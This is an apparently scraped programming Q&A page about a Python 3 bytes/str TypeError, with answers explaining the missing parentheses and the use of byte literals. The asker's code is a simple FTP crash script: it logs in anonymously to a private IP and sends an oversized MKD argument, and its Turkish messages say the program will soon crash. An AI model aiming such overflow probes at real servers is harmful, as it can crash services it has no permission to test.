简体   繁体   中英

python3 can't convert bytes to object 'str' implicity

I tried to some solutions in the other questions but couldn't solve. Here is my code:

#/usr/bin/env python
#-*- coding: UTF-8 -*-
import socket
import sys
ip = "192.168.0.28"
port = 21
data = "hckn"*250
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn = s.connect((ip,port))
except:
    print("[-] Baglanti basarisiz")
    sys.exit()

s.recv(1024)
s.send("USER anonymous\r\n".encode('utf-8'))
s.recv(1024)
s.send("PASS anonymous\r\n".encode('utf-8'))
print("[+]Gizli baglanti saglandi")


s.recv(1024)

s.send('MKD'+data+'\r\n'.encode('ascii'))
print("Data yollandı")
s.recv(1024)
s.send('QUIT\r\n'.encode('utf-8'))
s.close()

print("[+]Program yakinda hata verecek...")

when i erase the 'encode's and run it Python2, it works fine. But not on Python3, it says

s.send('MKD'+data+'\\r\\n'.encode('ascii'))

TypeError: can't convert bytes to object 'str' implicity

This happens because parentheses are missing:

s.send(('MKD'+data+'\r\n').encode('ascii'))
#      ^                 ^

But the typical solution is to just use bytes to begin with:

data = b"hckn"*250
s.send(b'MKD'+data+b'\r\n')

On that line:

s.send('MKD'+data+'\r\n'.encode('ascii'))

You need to put parantheses around the 'MKD'+data+'\\r\\n'. Like this:

s.send(('MKD'+data+'\r\n').encode('ascii'))

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM